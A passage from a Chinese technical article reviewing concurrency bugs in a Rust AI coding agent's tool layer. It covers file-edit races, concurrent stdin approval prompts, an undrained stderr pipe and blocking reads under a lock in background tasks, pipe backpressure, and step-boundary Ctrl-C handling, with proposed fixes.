<strong>第二档（中等）：在 <code>dispatch</code> 层做同文件串行化。</strong> 维护一个 <code>HashMap&lt;PathBuf, Mutex&lt;()&gt;&gt;</code>，<code>edit_file</code>/<code>write_file</code>/<code>apply_patch</code> 进入时先拿对应文件的锁。改动约 30 行，能彻底消除丢失更新。

<strong>第三档（最彻底）：给每个 <code>tool_call</code> 标一个「资源」标签，同资源串行、异资源并行。</strong> 这是真正正确的方案，但需要给 24 个工具都标注资源，工作量大。对一个 20 多个工具的项目，第二档是性价比最高的。

顺带说一句：<code>todo_write</code> 的「整体替换」语义在并行下还有个额外问题——两个并发的 <code>todo_write</code> 谁赢取决于调度，而模型看到的结果里两条都返回了「已写入」，它会以为自己成功更新了两次。这类「都成功但只有一个生效」的情况，是最难查的一类并发问题。
<h2>并发下的审批：stdin 只有一份</h2>

<code>run_command</code> 在执行前可能要求确认：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="k">crate</span><span class="p">::</span><span class="n">sandbox</span><span class="p">::</span><span class="n">needs_approval</span><span class="p">(</span><span class="n">ctx</span><span class="p">.</span><span class="n">auto_approve</span><span class="p">,</span><span class="w"> </span><span class="n">ctx</span><span class="p">.</span><span class="n">approval</span><span class="p">,</span><span class="w"> </span><span class="n">command</span><span class="p">)</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="n">confirm</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="s">&quot;Command denied by the user. Do not retry it; ask what to do instead.&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div>


<code>confirm()</code> 的实现是读一行 stdin：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">confirm</span><span class="p">(</span><span class="n">command</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="fm">eprint!</span><span class="p">(</span><span class="s">&quot;Run this command? [y/N] {command}</span><span class="se">\n</span><span class="s">&gt; &quot;</span><span class="p">);</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">io</span><span class="p">::</span><span class="n">stderr</span><span class="p">().</span><span class="n">flush</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">String</span><span class="p">::</span><span class="n">new</span><span class="p">();</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">io</span><span class="p">::</span><span class="n">stdin</span><span class="p">().</span><span class="n">read_line</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">line</span><span class="p">).</span><span class="n">is_err</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="fm">matches!</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">trim</span><span class="p">().</span><span class="n">to_ascii_lowercase</span><span class="p">().</span><span class="n">as_str</span><span class="p">(),</span><span class="w"> </span><span class="s">&quot;y&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;yes&quot;</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


如果一轮里有两个 <code>run_command</code> 都需要确认，两个线程会同时进 <code>confirm()</code>。后果：

<strong>提示交错。</strong> 两个 <code>eprint!</code> 会混在一起，用户看到的是两行粘在一起的提示，分不清哪个是哪个命令。

<strong>答案错配。</strong> 两个线程都在 <code>read_line</code>，用户输入一个 <code>y</code>，可能被任意一个线程读走。另一个线程继续等，用户以为已经确认过了，实际上第一条命令还没跑。

<strong>在非交互环境直接失败。</strong> stdin 不是 TTY 时（CI、管道），<code>read_line</code> 会返回 EOF 或者读到无关数据，两条命令都被拒。

这不是一个理论问题。默认配置下 <code>needs_approval</code> 对危险命令返回 true，而模型完全可能一次给出「跑测试」和「跑构建」两个命令。

修法：把审批收到主线程。并行区里遇到需要审批的调用，先挂起（返回一个「待审批」标记），等所有线程 join 之后，主线程串行地一个个问，问完再补跑。这需要把 <code>execute</code> 拆成「可并行部分」和「需审批部分」两段，改动不小。

低成本替代方案：加一把全局的 <code>Mutex&lt;()&gt;</code> 把 <code>confirm()</code> 包起来。这样提示不会交错，但「等用户输入时整轮卡住」的问题还在——只是从「互相踩」变成「排队踩」。对交互式 CLI 来说这已经够用了，因为用户输入本来就是串行的。
<h2>后台任务：另一种并发</h2>

前面的并发都是「同时做，然后一起收」。后台任务是另一种：<strong>先返回，稍后再收</strong>。
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">spawn</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">command</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">cwd</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Path</span><span class="p">,</span><span class="w"> </span><span class="n">sandbox</span><span class="p">:</span><span class="w"> </span><span class="nc">SandboxMode</span><span class="p">,</span><span class="w"> </span><span class="n">workspace</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Path</span><span class="p">)</span>
<span class="w">    </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">super</span><span class="p">::</span><span class="n">shell</span><span class="p">::</span><span class="n">shell_command</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
<span class="w">    </span><span class="n">cmd</span><span class="p">.</span><span class="n">current_dir</span><span class="p">(</span><span class="n">cwd</span><span class="p">)</span>
<span class="w">        </span><span class="p">.</span><span class="n">stdin</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">null</span><span class="p">())</span>
<span class="w">        </span><span class="p">.</span><span class="n">stdout</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">piped</span><span class="p">())</span>
<span class="w">        </span><span class="p">.</span><span class="n">stderr</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">piped</span><span class="p">());</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">child</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cmd</span><span class="p">.</span><span class="n">spawn</span><span class="p">().</span><span class="n">map_err</span><span class="p">(</span><span class="o">|</span><span class="n">e</span><span class="o">|</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;failed to start shell: {e}&quot;</span><span class="p">))</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">tasks</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">insert</span><span class="p">(</span><span class="n">id</span><span class="p">.</span><span class="n">clone</span><span class="p">(),</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">id</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


<code>spawn</code> 立即返回一个 task id，模型可以用 <code>task_output</code> 轮询、用 <code>task_kill</code> 终止。这解决了一类具体问题：跑测试、跑构建、起开发服务器——这些命令要几十秒到几分钟，阻塞在一轮里既浪费上下文（模型只能干等），又可能超时。

但这个模块有两个真实缺陷，都是并发相关的，且都不是「理论风险」。
<h2>后台任务的第一个缺陷：stderr 从未被读走</h2>

<code>spawn</code> 里给 stderr 也接了管道：
<div class="codehilite"><pre><span></span><code><span class="p">.</span><span class="n">stderr</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">piped</span><span class="p">());</span>
</code></pre></div>


但 <code>output()</code> 只排空 stdout：
<div class="codehilite"><pre><span></span><code><span class="c1">// 排空 stdout。</span>
<span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">child</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">task</span><span class="p">.</span><span class="n">child</span><span class="p">.</span><span class="n">as_mut</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">take</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="p">(</span><span class="n">kept</span><span class="p">,</span><span class="w"> </span><span class="n">total</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="p">);</span>
<span class="w">        </span><span class="n">task</span><span class="p">.</span><span class="n">out_buf</span><span class="p">.</span><span class="n">extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="n">kept</span><span class="p">);</span>
<span class="w">        </span><span class="n">task</span><span class="p">.</span><span class="n">out_total</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">total</span><span class="p">;</span>
<span class="w">        </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 检查是否结束。</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">try_wait</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* … */</span><span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


stderr 的管道从头到尾没有任何人读。后果分两步：

<strong>第一步：stderr 写满 64 KiB 时子进程阻塞。</strong> 管道的内核缓冲区默认 64 KiB（Linux）。子进程往 stderr 写满 64 KiB 之后，<code>write</code> 系统调用就会阻塞，直到有人读走。而没有人读，所以它永远不会解除。

<strong>第二步：任务永远不结束，<code>task_output</code> 永远显示 running。</strong> 而且此时 stdout 也没有新数据，<code>task_output</code> 返回 <code>(no output yet)</code>。模型会以为任务还在跑，继续等——直到轮次上限。

哪些命令会踩到？任何 stderr 输出超过 64 KiB 的：<code>cargo build</code> 的编译警告、<code>npm install</code> 的进度条、<code>pytest -v</code> 的失败堆栈。这些恰好是后台任务最常用的场景。

修法很直接：起一个线程排空 stderr，把内容追加到独立的缓冲区（或者合并到 <code>out_buf</code> 并标注来源）。
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">stderr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stderr</span><span class="p">.</span><span class="n">take</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">clone</span><span class="p">(</span><span class="o">&amp;</span><span class="n">shared_err_buf</span><span class="p">);</span>
<span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="p">(</span><span class="n">kept</span><span class="p">,</span><span class="w"> </span><span class="n">_total</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="n">stderr</span><span class="p">);</span>
<span class="w">    </span><span class="n">buf</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="n">kept</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div>


这正好是 <code>shell.rs</code> 对前台命令做的事——同一个问题，两处实现，一处对一处错。后台任务这里大概是「先实现最小可用版本，后来忘了补」。
<h2>后台任务的第二个缺陷：在锁里读到 EOF</h2>

第二个缺陷更隐蔽，因为它藏在 <code>read_capped</code> 的循环条件里：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">output</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">task_id</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">map</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">tasks</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span><span class="w">          </span><span class="c1">// ← 持锁</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">task</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">map</span><span class="p">.</span><span class="n">get_mut</span><span class="p">(</span><span class="n">task_id</span><span class="p">).</span><span class="n">ok_or_else</span><span class="p">(</span><span class="err">…</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">child</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">task</span><span class="p">.</span><span class="n">child</span><span class="p">.</span><span class="n">as_mut</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">take</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="kd">let</span><span class="w"> </span><span class="p">(</span><span class="n">kept</span><span class="p">,</span><span class="w"> </span><span class="n">total</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="p">);</span><span class="w"> </span><span class="c1">// ← 在锁里阻塞读</span>
<span class="w">            </span><span class="c1">// …</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="p">}</span>
</code></pre></div>


<code>read_capped</code> 的循环是「一直读到 <code>Ok(0)</code>（EOF）或者出错」。对于一个<strong>还在运行且暂时没有输出</strong>的后台任务，stdout 是打开的、没有数据，<code>read()</code> 会<strong>阻塞</strong>——它既不返回 0，也不返回错误，就一直等下去。

所以：<code>task_output(task-1)</code> 在一个安静运行的任务上会挂住（直到那个任务产生输出或退出）。而在挂住期间，<code>self.tasks</code> 的锁一直被持有，于是：
<div class="table-scroll"><table>
<thead>
<tr>
<th>操作</th>
<th>结果</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>task_list</code></td>
<td>阻塞（等锁）</td>
</tr>
<tr>
<td><code>task_kill</code></td>
<td>阻塞（等锁）</td>
</tr>
<tr>
<td>新的 <code>run_command(background=true)</code></td>
<td>阻塞（等锁）</td>
</tr>
<tr>
<td>另一个 <code>task_output</code></td>
<td>阻塞（等锁）</td>
</tr>
</tbody>
</table></div>

一次「看一眼有没有输出」的轮询，把整个后台任务子系统冻住了。这是个典型的<strong>在临界区里做阻塞 I/O</strong> 的错误——锁的粒度本身没错，错的是锁里放了不该放的东西。

这也解释了为什么前台 <code>run_command</code> 没这个问题：它把读管道放在<strong>独立线程</strong>里（<code>let out_thread = std::thread::spawn(move || read_capped(out_pipe))</code>），主线程只做 25ms 轮询 <code>try_wait()</code>，从不阻塞在读上。同一份 <code>read_capped</code>，放在线程里就是对的，放在锁里就是错的。

修法：把「读」移到线程里，锁里只做「取缓冲区快照」。
<div class="codehilite"><pre><span></span><code><span class="c1">// spawn 时就起好两个读线程，持续把数据写进 Arc&lt;Mutex&lt;Vec&lt;u8&gt;&gt;&gt;</span>
<span class="c1">// output() 只做：</span>
<span class="kd">let</span><span class="w"> </span><span class="n">map</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">tasks</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">task</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">map</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">task_id</span><span class="p">).</span><span class="n">ok_or_else</span><span class="p">(</span><span class="err">…</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="kd">let</span><span class="w"> </span><span class="n">text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">task</span><span class="p">.</span><span class="n">buf</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">clone</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">finished</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">task</span><span class="p">.</span><span class="n">child</span><span class="p">.</span><span class="n">try_wait</span><span class="p">()</span><span class="err">…</span><span class="p">;</span>
</code></pre></div>


这样 <code>output()</code> 的临界区只有内存拷贝，不会再阻塞。
<h2>管道背压：最容易误判成死锁的现象</h2>

上面两个缺陷的共同根源是<strong>管道背压</strong>（backpressure）：管道的缓冲区有限，写满之后写方阻塞，直到读方取走数据。

这个机制在并发代码里制造了一类特别难查的现象：<strong>程序看起来死锁了，其实是有一方在等另一方，而另一方在等一个永远不会到来的读</strong>。

三种典型形态：
<div class="table-scroll"><table>
<thead>
<tr>
<th>形态</th>
<th>表现</th>
<th>根因</th>
</tr>
</thead>
<tbody>
<tr>
<td>只读 stdout 不读 stderr</td>
<td>命令卡住，stdout 无输出</td>
<td>stderr 写满 64 KiB</td>
</tr>
<tr>
<td>持锁读管道</td>
<td>所有任务操作卡住</td>
<td>锁被一个阻塞的 <code>read</code> 持有</td>
</tr>
<tr>
<td>先 wait 再 read</td>
<td>命令永不结束</td>
<td>输出写满缓冲区，子进程无法退出</td>
</tr>
</tbody>
</table></div>

第三种是经典错误，也是 <code>shell.rs</code> 里那行注释存在的原因：
<div class="codehilite"><pre><span></span><code><span class="c1">// 两个管道各用一个线程排空，这样喋喋不休的子进程永远不会因为写满</span>
<span class="c1">// OS 管道缓冲、而我们还在等它退出，造成死锁。</span>
<span class="kd">let</span><span class="w"> </span><span class="n">out_pipe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">take</span><span class="p">().</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;stdout piped&quot;</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">err_pipe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stderr</span><span class="p">.</span><span class="n">take</span><span class="p">().</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;stderr piped&quot;</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">out_thread</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="n">out_pipe</span><span class="p">));</span>
<span class="kd">let</span><span class="w"> </span><span class="n">err_thread</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="n">err_pipe</span><span class="p">));</span>
</code></pre></div>


如果写成「先 <code>child.wait()</code> 拿到退出码，再读管道」，一个输出超过 64 KiB 的命令会：子进程写满缓冲区 → 阻塞在 write → 永远不退出 → <code>wait()</code> 永远返回不了 → 你永远走不到读管道那一行。循环等待，真正的死锁。

正确顺序只有一种：<strong>先起读线程，再等退出</strong>。<code>shell.rs</code> 做对了，<code>tasks.rs</code> 做错了两处（stderr 没读、在锁里读）。加起来是「同一模块内的两处不一致」，这也是为什么本文要用一整节讲背压——它不是边缘知识，而是这类代码的基本功。

还有一个细节值得注意：<code>read_capped</code> 在缓冲区满了之后<strong>继续读但丢弃</strong>：
<div class="codehilite"><pre><span></span><code><span class="nb">Ok</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">total</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">n</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">kept</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">CAPTURE_BYTES</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="n">room</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CAPTURE_BYTES</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">kept</span><span class="p">.</span><span class="n">len</span><span class="p">();</span>
<span class="w">        </span><span class="n">kept</span><span class="p">.</span><span class="n">extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="n">n</span><span class="p">.</span><span class="n">min</span><span class="p">(</span><span class="n">room</span><span class="p">)]);</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


不能「读到上限就 break」，因为那会让子进程再次阻塞。必须继续读到 EOF，只是不保留。这就是为什么它返回 <code>(kept, total)</code> 两个值——<code>total</code> 用来告诉模型「还有多少没显示」。
<h2>中断：抢占点只有一个</h2>

并发引入后，中断的语义变得更难定义：「按 Ctrl-C 到底应该停掉什么」。

NanoHermes 的答案极其保守：<strong>只在一个地方检查中断</strong>。
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">max_iterations</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// 只在步骤边界中止，保证历史里不会留下「有 assistant tool_calls</span>
<span class="w">    </span><span class="c1">// 但没有对应 tool 结果」的半截状态。</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="k">crate</span><span class="p">::</span><span class="n">interrupt</span><span class="p">::</span><span class="n">take</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">interrupted</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">        </span><span class="k">break</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">turn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">complete</span><span class="p">()</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="c1">// …执行工具…</span>
<span class="p">}</span>
</code></pre></div>


「步骤边界」的定义是：一次模型往返加它触发的全部工具执行，整体做完之后。所以在下面这些时刻按 Ctrl-C，都要等到当前步骤结束才生效：
<div class="table-scroll"><table>
<thead>
<tr>
<th>时刻</th>
<th>生效延迟</th>
</tr>
</thead>
<tbody>
<tr>
<td>模型正在流式输出</td>
<td>等这次请求结束</td>
</tr>
<tr>
<td>工具正在跑</td>
<td>等所有工具 join</td>
</tr>
<tr>
<td>子代理正在跑</td>
<td>等子代理跑完（最多 40 轮）</td>
</tr>
<tr>
<td>命令正在跑</td>
<td>等命令返回或超时（默认 120s）</td>
</tr>
</tbody>
</table></div>

这个设计的正当理由写在注释里：如果在工具执行中途中断，历史里会出现「assistant 消息里有 3 个 tool_calls，但只有 1 个 tool 结果」的状态，下一次请求直接 400。所以宁可不响应，也不能破坏历史的一致性。

代价是最坏情况下的等待时间可能是几分钟。缓解手段有两个：<code>run_command</code> 的超时（默认 120s，上限 3600s），以及子代理的 40 轮上限。两者都不是为中断设计的，但客观上限制了最坏延迟。

更好的做法是<strong>两阶段中断</strong>：第一次 Ctrl-C 设置标志并打印「正在完成当前步骤，再按一次强制退出」，第二次直接 <code>exit</code>。这样既保留了历史一致性，又给用户一个逃生口。实现只需要再加一个 <code>AtomicUsize</code> 计数。

顺便说一下中断机制本身：
<div class="codehilite"><pre><span></span><code><span class="k">static</span><span class="w"> </span><span class="n">INTERRUPTED</span><span class="p">:</span><span class="w"> </span><span class="nc">AtomicBool</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AtomicBool</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="k">static</span><span class="w"> </span><span class="n">DEPTH</span><span class="p">:</span><span class="w"> </span><span class="nc">AtomicUsize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AtomicUsize</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>

<span class="cp">#[cfg(all(target_os = </span><span class="s">&quot;linux&quot;</span><span class="cp">, any(target_arch = </span><span class="s">&quot;x86_64&quot;</span><span class="cp">, target_arch = </span><span class="s">&quot;aarch64&quot;</span><span class="cp">)))]</span>
<span class="k">extern</span><span class="w"> </span><span class="s">&quot;C&quot;</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">on_sigint</span><span class="p">(</span><span class="n">_sig</span><span class="p">:</span><span class="w"> </span><span class="kt">i32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">INTERRUPTED</span><span class="p">.</span><span class="n">store</span><span class="p">(</span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


信号处理器里只能做异步信号安全的事，<code>AtomicBool::store</code> 是安全的。<code>sigsuspend</code>、<code>printf</code>、<code>malloc</code> 都不是。这行代码看起来简单，但它必须留在「只做一次原子写」的范围内。

<code>DEPTH</code> 的引用计数解决的是嵌套问题：如果外层 <code>run()</code> 装了处理器，内层某个东西又调用 <code>install()</code>，退出时不能把外层的处理器卸掉。只在 <code>0 -&gt; 1</code> 装、<code>1 -&gt; 0</code> 卸。

装和卸都由一个 RAII 守卫负责，它在 <code>run()</code> 的第一行创建：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">_guard</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">InterruptGuard</span><span class="p">::</span><span class="n">new</span><span class="p">();</span><span class="w">   </span><span class="c1">// 丢弃上一轮残留的标志，再装处理器</span>

<span class="k">impl</span><span class="w"> </span><span class="nb">Drop</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">InterruptGuard</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">fn</span><span class="w"> </span><span class="nf">drop</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">crate</span><span class="p">::</span><span class="n">interrupt</span><span class="p">::</span><span class="n">restore_default</span><span class="p">();</span><span class="w">   </span><span class="c1">// 引用计数减一，最外层才真的恢复</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


